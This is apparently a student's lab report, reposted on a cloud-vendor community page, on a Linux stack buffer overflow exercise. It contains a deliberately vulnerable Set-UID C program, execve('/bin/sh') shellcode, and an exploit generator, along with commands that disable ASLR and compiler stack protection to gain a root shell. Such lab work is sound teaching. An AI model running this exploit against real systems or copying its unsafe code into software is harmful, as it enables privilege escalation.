Linux實驗——緩衝區溢位漏洞實驗

來源:互聯網
上載者:User

標籤:

Linux實驗——緩衝區溢位漏洞實驗

20125106

一、     實驗描述

緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流量控制,甚至執行代碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢出會引起返回地址被重寫。

二、     實驗準備

實驗樓提供的是64位Ubuntu linux(系統使用者名稱shiyanlou,密碼shiyanlou),而本次實驗為了方便觀察彙編語句,我們需要在32位環境下作操作,因此實驗之前需要做一些準備。

1、輸入命令安裝一些用於編譯32位C程式的東西:

sudo apt-get update

 

圖1

sudo apt-get install lib32z1 libc6-dev-i386

 

圖2

sudo apt-get install lib32readline-gplv2-dev

 

圖3

2、輸入命令“linux32”進入32位linux環境,輸入“/bin/bash”使用bash,使用exit退出Linux32

 

圖4

三、          實驗步驟

    練習一:

1 初始設定

Ubuntu和其他一些Linux系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的記憶體位址變得十分困難,而猜測記憶體位址是緩衝區溢位攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:

sudo sysctl -w kernel.randomize_va_space=0

 

圖5

此外,為了進一步防範緩衝區溢位攻擊及其它利用shell程式的攻擊,許多shell程式在被調用時自動放棄它們的特權。因此,即使你能欺騙一個Set-UID程式調用一個shell,也不能在這個shell中保持root許可權,這個防護措施在/bin/bash中實現。

linux系統中,/bin/sh實際是指向/bin/bash或/bin/dash的一個符號連結。為了重現這一防護措施被實現之前的情形,我們使用另一個shell程式(zsh)代替/bin/bash。下面的指令描述了如何設定zsh程式:

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

 

圖6

 

2 shellcode

一般情況下,緩衝區溢位會造成程式崩潰,在程式中,溢出的資料覆蓋了返回地址。而如果覆蓋返回地址的資料是另一個地址,那麼程式就會跳轉到該地址,如果該地址存放的是一段精心設計的代碼用於實現其他功能,這段代碼就是shellcode。

觀察以下代碼:

#include <stdio.h>

int main( )

{

char *name[2];

name[0] = ‘‘/bin/sh’’;

name[1] = NULL;

execve(name[0], name, NULL);

}

本次實驗的shellcode,就是剛才代碼的彙編版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 

3 漏洞程式

把以下代碼儲存為“stack.c”檔案,儲存到 /tmp 目錄下。代碼如下:

/* stack.c */

/* This program has a buffer overflow vulnerability. */

/* Our task is to exploit this vulnerability */

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

 

int bof(char *str)

{

char buffer[12];

/* The following statement has a buffer overflow problem */

strcpy(buffer, str);

return 1;

}

 

int main(int argc, char **argv)

{

char str[517];

FILE *badfile;

badfile = fopen("badfile", "r");

fread(str, sizeof(char), 517, badfile);

bof(str);

printf("Returned Properly\n");

return 1;

}

 

通過代碼可以知道,程式會讀取一個名為“badfile”的檔案,並將檔案內容裝入“buffer”。

編譯該程式,並設定SET-UID。命令如下:

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

GCC編譯器有一種棧保護機制來阻止緩衝區溢位,所以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制。而 -z execstack 用於允許執行棧。

 

圖7

 

4 攻擊程式

我們的目的是攻擊剛才的漏洞程式,並通過攻擊獲得root許可權。

把以下代碼儲存為“exploit.c”檔案,儲存到 /tmp 目錄下。代碼如下:

/* exploit.c */

/* A program that creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

 

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax

"\x50"        //pushl %eax

"\x68""//sh"  //pushl $0x68732f2f

"\x68""/bin"  //pushl $0x6e69622f

"\x89\xe3"    //movl %esp,%ebx

"\x50"        //pushl %eax

"\x53"        //pushl %ebx

"\x89\xe1"    //movl %esp,%ecx

"\x99"        //cdq

"\xb0\x0b"    //movb $0x0b,%al

"\xcd\x80"    //int $0x80

;

 

void main(int argc, char **argv)

{

char buffer[517];

FILE *badfile;

 

/* Initialize buffer with 0x90 (NOP instruction) */

memset(&buffer, 0x90, 517);

 

/* You need to fill the buffer with appropriate contents here */

strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");

strcpy(buffer+100,shellcode);

 

/* Save the contents to the file "badfile" */

badfile = fopen("./badfile", "w");

fwrite(buffer, 517, 1, badfile);

fclose(badfile);

}

注意上面的代碼,“\x??\x??\x??\x??”處需要添上shellcode儲存在記憶體中的地址,因為發生溢出後這個位置剛好可以覆蓋返回地址。

而 strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode儲存在 buffer+100 的位置。

現在我們要得到shellcode在記憶體中的地址,輸入命令:

gdb stack

disass main

結果

 

圖8

接下來的操作:

 

圖9

現在修改exploit.c檔案!然後,編譯exploit.c程式:

gcc -m32 -o exploit exploit.c

5 攻擊結果

先運行攻擊程式exploit,再運行漏洞程式stack,觀察結果:

 

圖10

可見,通過攻擊,獲得了root許可權!

 

練習二:

通過命令”sudo sysctl -w kernel.randomize_va_space=2“開啟系統的地址空間隨機化機制,重複用exploit程式攻擊stack程式,觀察能否攻擊成功,能否獲得root許可權。

 

圖11

從圖上可以看出,攻擊失敗,沒有獲得root許可權。

 

練習三:

將/bin/sh重新指向/bin/bash(或/bin/dash),觀察能否攻擊成功,能否獲得root許可權。

 

圖12

從圖上可知,攻擊失敗,沒有獲得root許可權。

Linux實驗——緩衝區溢位漏洞實驗

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.